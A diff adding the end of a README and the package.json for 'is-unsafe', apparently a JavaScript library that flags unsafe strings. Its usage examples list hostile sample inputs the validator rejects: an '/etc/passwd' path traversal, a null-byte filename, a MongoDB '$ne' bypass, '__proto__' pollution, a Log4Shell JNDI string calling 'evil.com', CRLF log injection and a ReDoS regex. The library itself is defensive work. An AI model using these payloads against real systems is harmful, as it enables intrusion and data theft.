|
429
|
+
logger.warn('Blocked unsafe value', { ruleId: reason.id, context: reason.context });
|
|
430
|
+
throw new Error(`Unsafe value rejected (${reason.id})`);
|
|
431
|
+
}
|
|
432
|
+
return value;
|
|
433
|
+
}
|
|
434
|
+
```
|
|
435
|
+
|
|
436
|
+
### Auditing with `allUnsafe`
|
|
437
|
+
|
|
438
|
+
```js
|
|
439
|
+
import { allUnsafe, HTML, SQL, SHELL } from 'is-unsafe';
|
|
440
|
+
|
|
441
|
+
const findings = allUnsafe(userInput, [HTML, SQL, SHELL]);
|
|
442
|
+
if (findings.length > 0) {
|
|
443
|
+
auditLog.record({ input: userInput, findings: findings.map(f => f.id) });
|
|
444
|
+
}
|
|
445
|
+
```
|
|
446
|
+
|
|
447
|
+
### SQL vs SQL_STRICT — choosing the right tier
|
|
448
|
+
|
|
449
|
+
```js
|
|
450
|
+
import { isUnsafe, SQL, SQL_STRICT } from 'is-unsafe';
|
|
451
|
+
|
|
452
|
+
// General text field (name, description, comment) — use SQL
|
|
453
|
+
function validateUserBio(bio) {
|
|
454
|
+
if (isUnsafe(bio, SQL)) throw new Error('Invalid content');
|
|
455
|
+
return bio;
|
|
456
|
+
}
|
|
457
|
+
|
|
458
|
+
// Dedicated SQL identifier input (table name picker, column filter) — use SQL_STRICT
|
|
459
|
+
function validateTableName(name) {
|
|
460
|
+
if (isUnsafe(name, SQL_STRICT)) throw new Error('Invalid identifier');
|
|
461
|
+
return name;
|
|
462
|
+
}
|
|
463
|
+
|
|
464
|
+
validateUserBio("see note -- above"); // passes (-- alone is fine for general text)
|
|
465
|
+
validateTableName("users -- comment"); // blocked by SQL_STRICT
|
|
466
|
+
```
|
|
467
|
+
|
|
468
|
+
### File upload path guard
|
|
469
|
+
|
|
470
|
+
```js
|
|
471
|
+
import { isUnsafe, SHELL } from 'is-unsafe';
|
|
472
|
+
|
|
473
|
+
function validateUploadPath(filename) {
|
|
474
|
+
if (isUnsafe(filename, SHELL)) throw new Error('Invalid filename');
|
|
475
|
+
return filename;
|
|
476
|
+
}
|
|
477
|
+
|
|
478
|
+
validateUploadPath('document.pdf'); // OK
|
|
479
|
+
validateUploadPath('../../../etc/passwd'); // throws
|
|
480
|
+
validateUploadPath('file.txt\x00.jpg'); // throws (null byte)
|
|
481
|
+
```
|
|
482
|
+
|
|
483
|
+
### User-supplied regex guard
|
|
484
|
+
|
|
485
|
+
```js
|
|
486
|
+
import { isUnsafe, whyUnsafe, REDOS } from 'is-unsafe';
|
|
487
|
+
|
|
488
|
+
function compileUserRegex(pattern) {
|
|
489
|
+
if (isUnsafe(pattern, REDOS)) {
|
|
490
|
+
const detail = whyUnsafe(pattern, REDOS);
|
|
491
|
+
throw new Error(`ReDoS risk in pattern (${detail.id})`);
|
|
492
|
+
}
|
|
493
|
+
return new RegExp(pattern);
|
|
494
|
+
}
|
|
495
|
+
|
|
496
|
+
compileUserRegex('^[a-z]+$'); // OK
|
|
497
|
+
compileUserRegex('(a+)+'); // throws — nested quantifier
|
|
498
|
+
```
|
|
499
|
+
|
|
500
|
+
### MongoDB input guard
|
|
501
|
+
|
|
502
|
+
```js
|
|
503
|
+
import { isUnsafe, NOSQL } from 'is-unsafe';
|
|
504
|
+
|
|
505
|
+
function safeMongoValue(value) {
|
|
506
|
+
if (isUnsafe(value, NOSQL)) throw new Error('Unsafe MongoDB value');
|
|
507
|
+
return value;
|
|
508
|
+
}
|
|
509
|
+
|
|
510
|
+
safeMongoValue('alice'); // OK
|
|
511
|
+
safeMongoValue('{"$ne": null}'); // throws — $ne bypass
|
|
512
|
+
safeMongoValue('__proto__'); // throws — prototype pollution
|
|
513
|
+
```
|
|
514
|
+
|
|
515
|
+
### Log field guard
|
|
516
|
+
|
|
517
|
+
```js
|
|
518
|
+
import { isUnsafe, LOG } from 'is-unsafe';
|
|
519
|
+
|
|
520
|
+
function safeLogField(value) {
|
|
521
|
+
if (isUnsafe(value, LOG)) throw new Error('Unsafe log value');
|
|
522
|
+
return value;
|
|
523
|
+
}
|
|
524
|
+
|
|
525
|
+
safeLogField('alice'); // OK
|
|
526
|
+
safeLogField('${jndi:ldap://evil.com}'); // throws — Log4Shell
|
|
527
|
+
safeLogField("value\nfake log entry"); // throws — CRLF injection
|
|
528
|
+
```
|
|
529
|
+
|
|
530
|
+
### Checking all contexts (tooling / security scanners)
|
|
531
|
+
|
|
532
|
+
```js
|
|
533
|
+
import { isUnsafe, VALID_CONTEXTS } from 'is-unsafe';
|
|
534
|
+
|
|
535
|
+
for (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {
|
|
536
|
+
if (isUnsafe(value, ctx)) {
|
|
537
|
+
console.log(`Unsafe in ${name}`);
|
|
538
|
+
}
|
|
539
|
+
}
|
|
540
|
+
```
|
|
541
|
+
|
|
542
|
+
> Note: this import brings in all 9 context modules. Fine for CLI tools and scanners; use individual named imports in application bundles.
|
|
543
|
+
|
|
544
|
+
---
|
|
545
|
+
|
|
546
|
+
## Design principles
|
|
547
|
+
|
|
548
|
+
| Principle | Detail |
|
|
549
|
+
|-----------|--------|
|
|
550
|
+
| **Predicate only** | Returns `true`/`false`. Never mutates strings. |
|
|
551
|
+
| **Zero dependencies** | No jsdom, no DOM, no framework coupling. |
|
|
552
|
+
| **Tree-shakeable** | Each context is an independent named export. Unused contexts are dropped by bundlers. |
|
|
553
|
+
| **Context-aware** | "Unsafe" is not absolute — it depends on where the value will be used. |
|
|
554
|
+
| **Caller decides action** | `is-unsafe` classifies. Escaping, throwing, or logging is the caller's responsibility. |
|
|
555
|
+
| **ReDoS-safe** | All detection patterns use bounded quantifiers. The irony of a security package triggering its own vulnerability (as the `sql-injection` npm package does) is avoided by design. |
|
|
556
|
+
| **Extensible** | Custom `PatternList` arrays work alongside built-in contexts. Set `.label` on your list to get meaningful context names in `MatchResult`. |
|
|
557
|
+
| **False positives over false negatives** | In parser context, blocking a legitimate value is better than passing a malicious one. |
|
|
558
|
+
|
|
559
|
+
---
|
|
560
|
+
|
|
561
|
+
## What `is-unsafe` is NOT
|
|
562
|
+
|
|
563
|
+
- **Not a sanitizer** — it does not modify strings
|
|
564
|
+
- **Not a middleware** — no Express/Koa coupling
|
|
565
|
+
- **Not a firewall** — it does not block requests
|
|
566
|
+
- **Not a complete security solution** — one layer of defence-in-depth
|
|
567
|
+
|
|
568
|
+
---
|
|
569
|
+
|
|
570
|
+
## Comparison with existing packages
|
|
571
|
+
|
|
572
|
+
| Package | Problem |
|
|
573
|
+
|---------|---------|
|
|
574
|
+
| `dompurify` | Requires DOM/jsdom. Sanitizer, not predicate. Has documented SVG/XML bypass vulnerabilities. |
|
|
575
|
+
| `xss` | Sanitizer — rewrites the string. HTML-only. No predicate API. |
|
|
576
|
+
| `xss-filters` | Explicitly documented as unable to be used inside `<svg>`, `<object>`, `<embed>`. |
|
|
577
|
+
| `xss-checker` | 465 kB payload list, 6 years abandoned, 5 dependents. |
|
|
578
|
+
| `is-sql-injection` | Philosophically closest, but v1.0.0 only, 8 years abandoned, 19 dependents. |
|
|
579
|
+
| `sql-injection` | Express middleware. Has an active ReDoS CVE on its own detection patterns. |
|
|
580
|
+
| **`is-unsafe`** | Actively maintained. DOM-free. Pure predicate. Tree-shakeable. Covers HTML, XML, SVG, SQL (two tiers), SHELL, REDOS, NOSQL, and LOG as distinct contexts. |
|
|
581
|
+
|
|
582
|
+
The `SVG` context is the key differentiator for XSS — no existing package covers SVG-specific vectors (`xlink:href`, `foreignObject`, `animate`/`set` element attacks). The `XML` context covers parser-level attacks that DOMPurify has documented bypass vulnerabilities for. The `NOSQL` and `LOG` contexts (including Log4Shell) have no equivalent in any current predicate package.
|
|
583
|
+
|
|
584
|
+
---
|
|
585
|
+
|
|
586
|
+
## Running tests
|
|
587
|
+
|
|
588
|
+
```sh
|
|
589
|
+
npm install
|
|
590
|
+
npm test
|
|
591
|
+
```
|
|
592
|
+
|
|
593
|
+
Tests use [Jasmine](https://jasmine.github.io/). Source in `src/`, specs in `specs/`.
|
|
594
|
+
|
|
595
|
+
---
|
|
596
|
+
|
|
597
|
+
## License
|
|
598
|
+
|
|
599
|
+
MIT
|
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "is-unsafe",
|
|
3
|
+
"version": "2.0.2",
|
|
4
|
+
"description": "Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"main": "./src/index.js",
|
|
7
|
+
"module": "./src/index.js",
|
|
8
|
+
"exports": {
|
|
9
|
+
".": {
|
|
10
|
+
"import": "./src/index.js",
|
|
11
|
+
"require": "./src/index.cjs"
|
|
12
|
+
}
|
|
13
|
+
},
|
|
14
|
+
"types": "./src/index.d.ts",
|
|
15
|
+
"sideEffects": false,
|
|
16
|
+
"scripts": {
|
|
17
|
+
"test": "jasmine **/*.spec.js",
|
|
18
|
+
"test:watch": "nodemon --exec 'npm test' --watch src --watch specs"
|
|
19
|
+
},
|
|
20
|
+
"keywords": [
|
|
21
|
+
"xss",
|
|
22
|
+
"sql-injection",
|
|
23
|
+
"security",
|
|
24
|
+
"safe",
|
|
25
|
+
"predicate",
|
|
26
|
+
"sanitizer",
|
|
27
|
+
"xml",
|
|
28
|
+
"svg",
|
|
29
|
+
"html",
|
|
30
|
+
"shell-injection",
|
|
31
|
+
"redos",
|
|
32
|
+
"unsafe",
|
|
33
|
+
"validator",
|
|
34
|
+
"log",
|
|
35
|
+
"nosql"
|
|
36
|
+
],
|
|
37
|
+
"repository": {
|
|
38
|
+
"type": "git",
|
|
39
|
+
"url": "https://github.com/NaturalIntelligence/is-unsafe"
|
|
40
|
+
},
|
|
41
|
+
"author": "Amit Gupta (https://solothought.com/)",
|
|
42
|
+
"license": "MIT",
|
|
43
|
+
"funding": [
|
|
44
|
+
{
|
|
45
|
+
"type": "github",
|
|
46
|
+
"url": "https://github.com/sponsors/NaturalIntelligence"
|
|
47
|
+
}
|
|
48
|
+
],
|
|
49
|
+
"devDependencies": {
|
|
50
|
+
"jasmine": "^6.3.0"
|
|
51
|
+
},
|
|
52
|
+
"files": [
|
|
53
|
+
"src/",
|
|
54
|
+
"README.md"
|
|
55
|
+
]
|
|
56
|
+
}
|